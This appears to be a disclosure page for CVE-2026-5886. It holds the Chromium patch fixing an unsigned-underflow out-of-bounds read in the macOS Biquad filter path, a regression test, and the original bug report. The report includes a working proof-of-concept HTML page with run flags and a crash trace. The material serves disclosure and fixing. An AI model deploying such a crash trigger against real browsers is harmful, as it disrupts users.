CVE-2026-5886
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/renderer/platform/audio/biquad.cc |
modified |
Files Changed
third_party/blink/renderer/platform/audio/biquad.ccthird_party/blink/web_tests/VirtualTestSuitesthird_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
Patch
From 63799115a9800826e2162aef62166ee562479107 Mon Sep 17 00:00:00 2001 From: Michael Wilson <[email protected]> Date: Tue, 24 Feb 2026 10:26:15 -0800 Subject: [PATCH] Update Biquad for configurable render quantum Use cached values directly for the Mac path instead of doing pointer arithmetic, and also add a smoke test. Bug: 485397283 Change-Id: I5194a8433ed4484e445b0dee7f3586a5baa89be4 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7596165 Reviewed-by: Hongchan Choi <[email protected]> Reviewed-by: Ian Kilpatrick <[email protected]> Commit-Queue: Michael Wilson <[email protected]> Cr-Commit-Position: refs/heads/main@{#1589538} --- diff --git a/third_party/blink/renderer/platform/audio/biquad.cc b/third_party/blink/renderer/platform/audio/biquad.cc index f37780c..9d226dc 100644 --- a/third_party/blink/renderer/platform/audio/biquad.cc +++ b/third_party/blink/renderer/platform/audio/biquad.cc @@ -132,16 +132,13 @@ // documented so it's not clear how to update them anyway. } else { #if BUILDFLAG(IS_MAC) - double* input_p = input_buffer_.Data(); - double* output_p = output_buffer_.Data(); - // Set up filter state. This is needed in case we're switching from // filtering with variable coefficients (i.e., with automations) to // fixed coefficients (without automations). - input_p[0] = x2_; - UNSAFE_TODO(input_p[1]) = x1_; - output_p[0] = y2_; - UNSAFE_TODO(output_p[1]) = y1_; + input_buffer_[0] = x2_; + UNSAFE_TODO(input_buffer_[1]) = x1_; + output_buffer_[0] = y2_; + UNSAFE_TODO(output_buffer_[1]) = y1_; // Use vecLib if available ProcessFast(source_p, dest_p, frames_to_process); @@ -151,11 +148,12 @@ // automation which needs the history to continue correctly. Because // sourceP and destP can be the same block of memory, we can't read from // sourceP to get the last inputs. Fortunately, processFast has put the - // last inputs in input[0] and input[1]. - x1_ = UNSAFE_TODO(input_p[1]); - x2_ = input_p[0]; - y1_ = UNSAFE_TODO(dest_p[frames_to_process - 1]); - y2_ = UNSAFE_TODO(dest_p[frames_to_process - 2]); + // last inputs in input_buffer_[0] and input_buffer_[1] and the last outputs + // in output_buffer_[0] and output_buffer_[1]. + x1_ = UNSAFE_TODO(input_buffer_[1]); + x2_ = input_buffer_[0]; + y1_ = UNSAFE_TODO(output_buffer_[1]); + y2_ = output_buffer_[0]; #else int n = frames_to_process; @@ -210,12 +208,6 @@ filter_coefficients[3] = a1_[0]; filter_coefficients[4] = a2_[0]; - double* input_p = input_buffer_.Data(); - double* output_p = output_buffer_.Data(); - - double* input2p = UNSAFE_TODO(input_p + 2); - double* output2p = UNSAFE_TODO(output_p + 2); - // Break up processing into smaller slices (kBiquadBufferSize) if necessary. int n = frames_to_process; @@ -224,14 +216,18 @@ int frames_this_time = n < kBiquadBufferSize ? n : kBiquadBufferSize; // Copy input to input buffer - for (int i = 0; i < frames_this_time; ++i) - UNSAFE_TODO(input2p[i]) = *UNSAFE_TODO(source_p++); + for (int i = 0; i < frames_this_time; ++i) { + UNSAFE_TODO(input_buffer_[i + 2]) = *UNSAFE_TODO(source_p++); + } - ProcessSliceFast(input_p, output_p, filter_coefficients, frames_this_time); + ProcessSliceFast(input_buffer_.Data(), output_buffer_.Data(), + filter_coefficients, frames_this_time); // Copy output buffer to output (converts float -> double). - for (int i = 0; i < frames_this_time; ++i) - *UNSAFE_TODO(dest_p++) = static_cast<float>(UNSAFE_TODO(output2p[i])); + for (int i = 0; i < frames_this_time; ++i) { + *UNSAFE_TODO(dest_p++) = + static_cast<float>(UNSAFE_TODO(output_buffer_[i + 2])); + } n -= frames_this_time; } @@ -248,10 +244,10 @@ // m_outputBuffer respectively. These buffers are allocated (in the // constructor) with space for two extra samples so it's OK to access array // values two beyond framesToProcess. - source_p[0] = UNSAFE_TODO(source_p[frames_to_process - 2 + 2]); - UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process - 1 + 2]); - dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process - 2 + 2]); - UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process - 1 + 2]); + source_p[0] = UNSAFE_TODO(source_p[frames_to_process]); + UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process + 1]); + dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process]); + UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process + 1]); } #endif // BUILDFLAG(IS_MAC) @@ -259,13 +255,11 @@ void Biquad::Reset() { #if BUILDFLAG(IS_MAC) // Two extra samples for filter history - double* input_p = input_buffer_.Data(); - input_p[0] = 0; - UNSAFE_TODO(input_p[1]) = 0; + input_buffer_[0] = 0; + UNSAFE_TODO(input_buffer_[1]) = 0; - double* output_p = output_buffer_.Data(); - output_p[0] = 0; - UNSAFE_TODO(output_p[1]) = 0; + output_buffer_[0] = 0; + UNSAFE_TODO(output_buffer_[1]) = 0; #endif x1_ = x2_ = y1_ = y2_ = 0; diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites index f635d60..10b6282 100644 --- a/third_party/blink/web_tests/VirtualTestSuites +++ b/third_party/blink/web_tests/VirtualTestSuites @@ -6242,6 +6242,7 @@ "Android" ], "bases": [ + "webaudio/BiquadFilter/biquad-render-size-hint.html", "webaudio/WaveShaper/waveshaper-rendersizehint.html" ], "args": [ diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html new file mode 100644 index 0000000..305ad005 --- /dev/null +++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html @@ -0,0 +1,61 @@ +<!doctype html> +<html> + <head> + <title>BiquadFilterNode RenderSizeHint</title> + <script src="../../resources/testharness.js"></script> + <script src="../../resources/testharnessreport.js"></script> + </head> + <body> + <script> + promise_test(async () => { + const ctx = new OfflineAudioContext({ + numberOfChannels: 1, + length: 128, + sampleRate: 3000, + renderSizeHint: 1, + }); + + // Create a BiquadFilterNode. By default, it has no automation, so + // HasSampleAccurateValues() will return false, which is required to + // enter the optimized path. + const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'}); + + // Connect an oscillator to process some data. + const osc = new OscillatorNode(ctx, {frequency: 440}); + osc.connect(biquad); + biquad.connect(ctx.destination); + osc.start(); + + await ctx.startRendering(); + + // If we reach here, the test passed (no crash). + assert_true(true, 'Rendering completed without crashing.'); + }, 'BiquadFilterNode with minimum renderSizeHint should not crash'); + + promise_test(async () => { + const ctx = new OfflineAudioContext({ + numberOfChannels: 1, + length: 128, + sampleRate: 768000, + renderSizeHint: (768000 * 6), + }); + + // Create a BiquadFilterNode. By default, it has no automation, so + // HasSampleAccurateValues() will return false, which is required to + // enter the optimized path. + const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'}); + + // Connect an oscillator to process some data. + const osc = new OscillatorNode(ctx, {frequency: 440}); + osc.connect(biquad); + biquad.connect(ctx.destination); + osc.start();
Regression Test / PoC
diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites
index f635d60..10b6282 100644
--- a/third_party/blink/web_tests/VirtualTestSuites
+++ b/third_party/blink/web_tests/VirtualTestSuites
@@ -6242,6 +6242,7 @@
"Android"
],
"bases": [
+ "webaudio/BiquadFilter/biquad-render-size-hint.html",
"webaudio/WaveShaper/waveshaper-rendersizehint.html"
],
"args": [
diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
new file mode 100644
index 0000000..305ad005
--- /dev/null
+++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
@@ -0,0 +1,61 @@
+<!doctype html>
+<html>
+ <head>
+ <title>BiquadFilterNode RenderSizeHint</title>
+ <script src="../../resources/testharness.js"></script>
+ <script src="../../resources/testharnessreport.js"></script>
+ </head>
+ <body>
+ <script>
+ promise_test(async () => {
+ const ctx = new OfflineAudioContext({
+ numberOfChannels: 1,
+ length: 128,
+ sampleRate: 3000,
+ renderSizeHint: 1,
+ });
+
+ // Create a BiquadFilterNode. By default, it has no automation, so
+ // HasSampleAccurateValues() will return false, which is required to
+ // enter the optimized path.
+ const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+ // Connect an oscillator to process some data.
+ const osc = new OscillatorNode(ctx, {frequency: 440});
+ osc.connect(biquad);
+ biquad.connect(ctx.destination);
+ osc.start();
+
+ await ctx.startRendering();
+
+ // If we reach here, the test passed (no crash).
+ assert_true(true, 'Rendering completed without crashing.');
+ }, 'BiquadFilterNode with minimum renderSizeHint should not crash');
+
+ promise_test(async () => {
+ const ctx = new OfflineAudioContext({
+ numberOfChannels: 1,
+ length: 128,
+ sampleRate: 768000,
+ renderSizeHint: (768000 * 6),
+ });
+
+ // Create a BiquadFilterNode. By default, it has no automation, so
+ // HasSampleAccurateValues() will return false, which is required to
+ // enter the optimized path.
+ const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+ // Connect an oscillator to process some data.
+ const osc = new OscillatorNode(ctx, {frequency: 440});
+ osc.connect(biquad);
+ biquad.connect(ctx.destination);
+ osc.start();
+
+ await ctx.startRendering();
+
+ // If we reach here, the test passed (no crash).
+ assert_true(true, 'Rendering completed without crashing.');
+ }, 'BiquadFilterNode with maximum renderSizeHint should not crash');
+ </script>
+ </body>
+</html>
Original Bug Report
Out-of-Bounds Read in Biquad::Process on macOS
Summary
The Biquad::Process method in Chromium’s WebAudio implementation contains a macOS-specific code path that reads filter history from dest_p[frames_to_process - 2], where frames_to_process is uint32_t. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active and renderSizeHint is set to 1, frames_to_process becomes 1, causing the subtraction 1 - 2 to underflow to 0xFFFFFFFF. This results in an out-of-bounds read at approximately 16 GB past the destination buffer, crashing the renderer process with a SIGBUS signal on macOS.
Root Cause
The Biquad class implements IIR filtering for the BiquadFilterNode in the Web Audio API. On macOS, the Process method has an optimized code path that uses Apple’s Accelerate framework (vDSP) for filter computation. After calling ProcessFast to perform the actual filtering, the method saves two history samples from the output buffer for use in the next render quantum:
// third_party/blink/renderer/platform/audio/biquad.cc
void Biquad::Process(const float* source_p,
float* dest_p,
uint32_t frames_to_process) {
if (HasSampleAccurateValues()) {
// ... sample-accurate path (not affected) ...
} else {
#if BUILDFLAG(IS_MAC)
double* input_p = input_buffer_.Data();
double* output_p = output_buffer_.Data();
input_p[0] = x2_;
input_p[1] = x1_;
output_p[0] = y2_;
output_p[1] = y1_;
ProcessFast(source_p, dest_p, frames_to_process);
x1_ = input_p[1];
x2_ = input_p[0];
y1_ = dest_p[frames_to_process - 1];
y2_ = dest_p[frames_to_process - 2]; // underflow when frames_to_process == 1
#else
// ... non-Mac loop path (not affected) ...
#endif
}
}
The parameter frames_to_process is declared as uint32_t. When it equals 1, the expression frames_to_process - 2 does not produce -1 as a signed result; instead, the unsigned subtraction wraps around to 0xFFFFFFFF. The subsequent array access dest_p[0xFFFFFFFF] computes a byte offset of 0xFFFFFFFF * sizeof(float) = 0x3FFFFFFFC, approximately 16 GB past the start of the destination buffer. This address is virtually guaranteed to be unmapped, causing a SIGBUS on macOS ARM64.
This macOS-specific path is entered when HasSampleAccurateValues() returns false, which occurs whenever none of the BiquadFilterNode’s audio parameters (frequency, Q, gain, detune) have active automation timelines or incoming audio-rate connections. The BiquadFilterHandler::Process method explicitly sets this state:
// third_party/blink/renderer/modules/webaudio/biquad_filter_handler.cc
} else {
// No sample-accurate values
for (const auto& biquad : biquads_) {
biquad->SetHasSampleAccurateValues(false);
// ... set fixed filter coefficients ...
}
}
for (unsigned i = 0; i < biquads_.size(); ++i) {
biquads_[i]->Process(source_bus->Channel(i)->Data(),
destination_bus->Channel(i)->MutableData(),
frames_to_process);
}
The frames_to_process value originates from the render quantum size configured via renderSizeHint. When the WebAudioConfigurableRenderQuantum runtime feature is enabled, the user-supplied renderSizeHint is accepted after passing through IsValidRenderQuantumSize, which permits any value from 1 to 6 * sampleRate:
// third_party/blink/renderer/platform/audio/audio_utilities.cc
uint32_t MinRenderQuantumSize() { return 1; }
uint32_t MaxRenderQuantumSize(float sample_rate) {
return static_cast<uint32_t>(6 * sample_rate);
}
Setting renderSizeHint to 1 passes validation and propagates as frames_to_process = 1 into Biquad::Process, triggering the unsigned integer underflow. The non-macOS code path (the #else branch) uses a signed int n = frames_to_process loop that naturally terminates without out-of-bounds access, so only macOS builds are affected. Note that BUILDFLAG(IS_MAC) applies to all macOS builds regardless of CPU architecture, meaning both Intel and Apple Silicon Macs are vulnerable.
Reproduce
Save the following as poc_biquad_macos_oob_read.html:
<!DOCTYPE html>
<html>
<body>
<script>
async function trigger() {
try {
// renderSizeHint = 1: frames_to_process becomes uint32_t(1)
// In Biquad::Process (macOS vDSP path, HasSampleAccurateValues()==false):
// y1_ = dest_p[frames_to_process - 1]; // dest_p[0] - OK
// y2_ = dest_p[frames_to_process - 2]; // uint32(1-2) = 0xFFFFFFFF -> OOB read
const ctx = new OfflineAudioContext({
numberOfChannels: 1,
length: 64,
sampleRate: 44100,
renderSizeHint: 1
});
// BiquadFilterNode with default parameters (lowpass, no automations)
// No automation -> HasSampleAccurateValues() == false -> enters macOS vDSP path
const biquad = new BiquadFilterNode(ctx, { type: "lowpass" });
const osc = new OscillatorNode(ctx, { frequency: 440 });
osc.connect(biquad);
biquad.connect(ctx.destination);
osc.start();
console.log("[*] renderSizeHint = 1, frames_to_process = 1 (uint32_t)");
console.log("[*] Biquad::Process macOS path: dest_p[1-2] = dest_p[0xFFFFFFFF]");
console.log("[*] Expected: heap-buffer-overflow READ on macOS ASAN build");
console.log("[*] Starting offline rendering...");
await ctx.startRendering();
console.log("[!] Rendering completed (unexpected if on macOS ASAN)");
} catch (e) {
console.log("[!] Exception: " + e.name + ": " + e.message);
}
}
trigger();
</script>
</body>
</html>
Download a macOS ARM64 ASAN build of Chromium and run with:
chromium-asan-1586336-mac-arm64/Chromium.app/Contents/MacOS/Chromium \
--no-sandbox \
--enable-blink-features=WebAudioConfigurableRenderQuantum \
poc_biquad_macos_oob_read.html
The --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead.
Output from execution confirms the crash:
Received signal 10 BUS_ADRALN 60340009d47c
[0x000312433bcc]
[0x000312407ae8]
[0x000312433a00]
[0x00019bfd56a4]
[0x00032201abfc]
[0x000322020f40]
[0x000321f80dc8]
[0x000321fa05b0]
[0x000321f9dd50]
[0x000321f9e1a0]
[0x00032207f74c]
[0x00032207e480]
[0x000322080908]
[0x0003122ce728]
[0x000312336280]
[0x00031233562c]
[0x0003121b7f2c]
[0x0003123375e0]
[0x00031225ca24]
[0x00030c1ab770]
[0x000312402218]
[0x000104d5566c]
[0x00019bf9bc0c]
[0x00019bf96b80]
[end of stack trace]
Signal 10 is SIGBUS on macOS, confirming the out-of-bounds read caused by the unsigned integer underflow in Biquad::Process. The renderer process is terminated immediately upon accessing the invalid memory address derived from dest_p[0xFFFFFFFF].